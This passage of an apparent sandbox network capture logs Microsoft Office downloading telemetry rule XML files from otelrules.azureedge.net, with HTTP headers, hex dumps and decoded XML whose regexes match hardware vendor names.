22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210420Z-178bfbc474btvfdfhC1NYCa2en000000022000000000kzam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210420Z-1777c6cb754b7tdghC1TEBwwa40000000bq000000000spsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210420Z-178bfbc474bv587zhC1NYCny5w00000001y0000000007ztp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:20 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210420Z-174c587ffdfn4nhwhC1TEB2nbc00000000f00000000081mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210420Z-178bfbc474b9xljthC1NYCtw9400000001y000000000e567 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210423Z-178bfbc474bpnd5vhC1NYC4vr400000001wg00000000yaa2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210423Z-174c587ffdfl22mzhC1TEBk40c00000000h000000000mbna x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:22 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210423Z-178bfbc474bpnd5vhC1NYC4vr400000001w00000000119cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210423Z-r1d97b99577n4dznhC1TEBc1qw0000000aug00000000rt2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:23 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210423Z-15b8b599d88phfhnhC1TEBr51n00000000hg00000000e611 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 21:04:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210425Z-1777c6cb754gvvgfhC1TEBz4rg0000000bp000000000qvyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210425Z-178bfbc474btrnf9hC1NYCb80g000000023g00000000r81s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
